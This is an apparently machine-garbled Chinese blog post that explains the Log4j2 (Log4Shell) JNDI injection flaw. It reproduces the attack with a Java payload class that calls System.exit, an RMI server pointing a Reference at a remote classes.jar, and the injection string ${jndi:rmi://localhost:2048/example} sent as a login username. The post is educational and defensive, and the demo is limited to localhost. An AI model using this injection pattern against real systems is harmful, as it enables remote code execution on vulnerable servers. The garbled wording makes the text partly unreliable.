关于java:紧急Log4j又发新版2170只有彻底搞懂漏洞原因才能以不变应万变小白也能看懂

47次阅读

共计 6115 个字符,预计需要花费 16 分钟才能阅读完成。

1 事件背景

通过一周工夫的 Log4j2 RCE 事件的发酵,事件也变也越来越简单和乏味,就连 Log4j 官网紧急公布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有齐全解决问题,而后进而持续公布了 2.16.0 版本。大家都认为 2.16.0 是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0 横空出世。

置信各位小伙伴都在加班加点熬夜紧急修复和改过 Apache Log4j 爆出的安全漏洞,各企业都瑟瑟发抖,连网警都告诉各位站长,包含我也收到了湖南长沙高新区网警的告诉。

我也紧急公布了两篇教程,给各位小伙伴支招,我之前公布的教程仍然无效。

【紧急】Apache Log4j 任意代码执行破绽平安危险降级修复教程

【紧急】持续折腾,Log4j 再发 2.16.0,强烈建议降级

尽管,各位小伙伴依照教程一步一步操作能疾速解决问题,然而很多小伙伴仍旧有很多纳闷,不知其所以然。在这里我给大家详细分析并复现一下 Log4j2 破绽产生的起因,纯正是以学习为目标。

Log4j2 破绽总体来说是通过 JNDI 注入恶意代码来实现攻打,具体的操作形式有 RMI 和 LDAP 等。

2 JNDI 介绍

2.1 JNDI 定义

JNDI(Java Naming and Directory Interface,Java 命名和目录接口)是 Java 中为命名和目录服务提供接口的 API,JNDI 次要由两局部组成:Naming(命名)和 Directory(目录),其中 Naming 是指将对象通过惟一标识符绑定到一个上下文 Context,同时可通过惟一标识符查找取得对象,而 Directory 次要指将某一对象的属性绑定到 Directory 的上下文 DirContext 中,同时可通过名称获取对象的属性,同时也能够操作属性。

2.2 JNDI 架构

Java 应用程序通过 JNDI API 拜访目录服务,而 JNDI API 会调用 Naming Manager 实例化 JNDI SPI,而后通过 JNDI SPI 去操作命名或目录服务其如 LDAP,DNS,RMI 等,JNDI 外部已实现了对 LDAP,DNS,RMI 等目录服务器的操作 API。其架构图如下所示:

2.3 JNDI 外围 API

| 类名 | 解释 |
| ——– | ——– |
| Context | 命名服务的接口类,由很多的 name-to-object 的健值对组成,能够通过该接口将健值对绑定到该类中,也可通过该类依据 name 获取其绑定的对象 |
| InitialContextNaming |(命名服务)操作的入口类,通过该类可对命名服务进行相干的操作 |
| DirContext | Directory 目录服务的接口类,该类继承自 Context,在 Naming 服务的根底上扩大了对于对象属性的绑定和获取操作 |
| InitialDirContext | Directory 目录服务相干操作的入口类,通过该类可进行目录相干服务的操作 |

Java 通过 JNDI API 去调用服务。例如,咱们大家相熟的 odbc 数据连贯,就是通过 JNDI 的形式来调用数据源的。以下代码大家应该很相熟:

<?xml version="1.0" encoding="UTF-8"?>
<Context>
    <Resource name="jndi/person"
            auth="Container"
            type="javax.sql.DataSource"
            username="root"
            password="root"
            driverClassName="com.mysql.jdbc.Driver"
            url="jdbc:mysql://localhost:3306/test"
            maxTotal="8"
            maxIdle="4"/>
</Context>

在 Context.xml 文件中咱们能够定义数据库驱动,url、账号密码等要害信息,其中 name 这个字段的内容为自定义。上面应用 InitialContext 对象获取数据源

Connection conn=null; 
PreparedStatement ps = null;
ResultSet rs = null;
try {Context ctx=new InitialContext(); 
  Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); // 援用数据源 
  DataSource ds=(Datasource)datasourceRef; 
  conn = ds.getConnection(); 
  
  // 省略局部代码
  ...
  
  c.close();} catch(Exception e) {e.printStackTrace(); 
} finally {if(conn!=null) { 
    try {conn.close(); 
    } catch(SQLException e) {}} 
}

是不是很相熟呢?JNDI 的其余利用在此我就不多做介绍了,如果还不理解 JNDI/RMI/LDAP 等相干概念的小伙伴请自行百度一下。

3 攻打原理

上面我以 RMI 的形式为例,具体复现步骤和剖析起因。解释根本攻打原理之前,咱们先来看一张时序图:

1、攻击者首先公布一个 RMI 服务,此服务将绑定一个援用类型的 RMI 对象。在援用对象中指定一个近程的含有恶意代码的类。例如:蕴含 system.exit(1) 等相似的危险操作和恶意代码的下载地址。

2、攻击者再公布另一个恶意代码下载服务,此服务能够下载所有含有恶意代码的类。

3、攻击者利用 Log4j2 的破绽注入 RMI 调用,例如:logger.info(“ 日志信息 ${jndi:rmi://rmi-service:port/example}”)。

4、调用 RMI 后将获取到援用类型的 RMI 近程对象,该对象将就加载恶意代码并执行。

4 破绽复现

4.1 创立恶意代码

创立恶意代码相干类,以下代码仅供学习:


package com.tom.example.log4j;

public class HackedClassFactory {public HackedClassFactory(){System.out.println("程序行将终止");
        System.exit(1);
    }
}

创立 HackedClassFactory 类的定义,在构造函数里写入终止程序运行的恶意代码。

4.2 公布恶意代码

将 HackedClassFactory 类打成 jar 包,公布到 HTTP 服务器上,能通过简略的 Get 申请失常下载即可。

4.3 创立 RMI 服务

编写如下代码,并运行程序:


package com.tom.example.rmi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.util.Hashtable;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class HackedRmiService {public static void main(String[] args) {
        try {
            int port = 2048;  // 设置 RMI 服务近程监听端口
            // 创立并公布 RMI 服务
            LocateRegistry.createRegistry(port);
            Hashtable<String, Object> env = new Hashtable<String,Object>();
            env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port);
            Context context = new InitialContext(env);


            String serviceName = "example";
            String serviceClassName = "com.tom.example.log4j.HackedClassFactory";
            // 指定恶意代码的下载地址
            Reference refer = new Reference(
                    serviceName,
                    serviceClassName,
                    "http://127.0.0.1/example/classes.jar");
            ReferenceWrapper wrapper = new ReferenceWrapper(refer);

            // 为 RMI 服务绑定一个援用类型的对象,此对象能够被近程拜访
            context.bind(serviceName,wrapper);

        }catch (Exception e){e.printStackTrace();
        }
    }
}

RMI 服务启动之后,即公布了监听端口为 2048 的 RMI 服务。

运行 netstat -ano | find “2048” 命令测验,失去如下后果,阐明 RMI 服务曾经失常启动,如下图:

4.4 注入恶意代码

上面咱们利用 Log4j 的破绽注入恶意代码,有已知用户登录的业务场景,小伙伴们先不论它是如何实现的,其代码如下:


@RequestMapping(value="/login")
public ResponseEntity login(String loginName,String loginPass){ResultMsg<?> data = memberService.login(loginName,loginPass);

    // 演示代码,省略业务逻辑,默认为登录胜利
    log.info("登录胜利",loginName);

    String json = JSON.toJSONString(data);

    return ResponseEntity
            .ok()
            .contentType(MediaType.APPLICATION_JSON)
            .body(json);
}

利用 Postman 测试,首先失常拜访能失去冀望的后果,如下图所示:

用户登录胜利后会失常返回 token,这看上去是一个惯例操作。仔细的小伙发现,在登录胜利之后,后盾会打印一条日志且输入登录的用户名。

接下来,我做一个非常规操作。将用户名输出为 ${jndi:rmi://localhost:2048/example}

咱们发现程序曾经无奈响应,再看后盾日志,曾经终止运行。

这里仅仅只是演示成果,我编写的恶意代码只是终止程序,如果攻击者注入的是其余恶意代码,那结果将不堪设想。

5 源码剖析

通过以上案例还原了攻击者利用 Log4j 的破绽对目标程序进行攻打的残缺过程,接下来剖析一下 Log4j 的源码从而理解根本原因。其罪魁祸首是 Log4j2 的 MessagePatternConverter 组件中的 format() 办法,Log4j 在记录日志的时候会间接的调用该办法,具体源码如下:

从源码中咱们能够发现该办法会截取 $ 和 {} 之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协定格局则进行 JNDI 形式的 RMI 调用, 从而触发原生的 RMI 服务调用。具体调用地位在 StrSubstitutor 的 substitute() 办法:


private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {

   // 此处省略局部代码
   ...

    this.checkCyclicSubstitution(varName, (List)priorVariables);
    ((List)priorVariables).add(varName);
    String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
    if (varValue == null) {varValue = varDefaultValue;}
    
     // 此处省略局部代码
    ...
    
}

上述代码中的 resolveVariable() 最终会调用 InitialContext 的 lookup() 办法:


protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {StrLookup resolver = this.getVariableResolver();
    return resolver == null ? null : resolver.lookup(event, variableName);
}

通过断点调试,咱们的确发现调用了 RMI 服务,下图所示:

最终恶意代码通过 RMI 加载实现当前,会调用 javax.naming.spi.NamingManager 的 getObjectFactoryFromReference() 办法加载恶意代码,也就是咱们之前写的 com.tom.example.log4j.HackedClassFactory 类。首先会在尝试本地找,如果本地找不到会通过近程地址加载,也就是咱们公布的下载服务,即 http://127.0.0.1/example/clas…

加载近程代码之后,通过反射调用结构器创立攻打类的实例,而恶意代码编写在结构器中,所以在被攻击者的程序中间接执行了恶意代码。

看到这里,小伙伴们是不是有种和 SQL 注入一模一样的感觉。

5 危险条件

该破绽须要满足以下条件才有可能被攻打:

1、首先应用的是 Logj4j2 的破绽版本,即 <= 2.14.1 的版本。

2、攻击者有机会注入恶意代码,例如零碎中记录的日志信息没有任何非凡过滤。

3、攻击者须要公布 RMI 近程服务和恶意代码下载服务。

4、被攻击者的网络能够拜访到 RMI 服务和恶意代码下载服务,即被攻击者的服务器能够随便拜访公网,或者在内网公布过相似的危险服务。

5、被攻击者在 JVM 中开启了 RMI/LDAP 等协定的 truseURLCodebase 属性为 ture。

以上就是我对 Log4j2 RCE 破绽的残缺复现及根本原因剖析,当然最高效的形式还是敞开 Lookup 相干性能。尽管,官网也在紧急修复,但波及到软件降级存在肯定危险,还有可能须要大量的反复测试工作。

我在之前紧急公布的教程仍然无效,大家能够持续参照用最高效牢靠的形式解决问题。

【紧急】Apache Log4j 任意代码执行破绽平安危险降级修复教程

【紧急】持续折腾,Log4j 再发 2.16.0,强烈建议降级

关注微信公众号『Tom 弹架构』回复“Spring”可获取残缺源码。

本文为“Tom 弹架构”原创,转载请注明出处。技术在于分享,我分享我高兴!如果您有任何倡议也可留言评论或私信,您的反对是我保持创作的能源。关注微信公众号『Tom 弹架构』可获取更多技术干货!

原创不易,保持很酷,都看到这里了,小伙伴记得点赞、珍藏、在看,一键三连加关注!如果你感觉内容太干,能够分享转发给敌人滋润滋润!

正文完
 0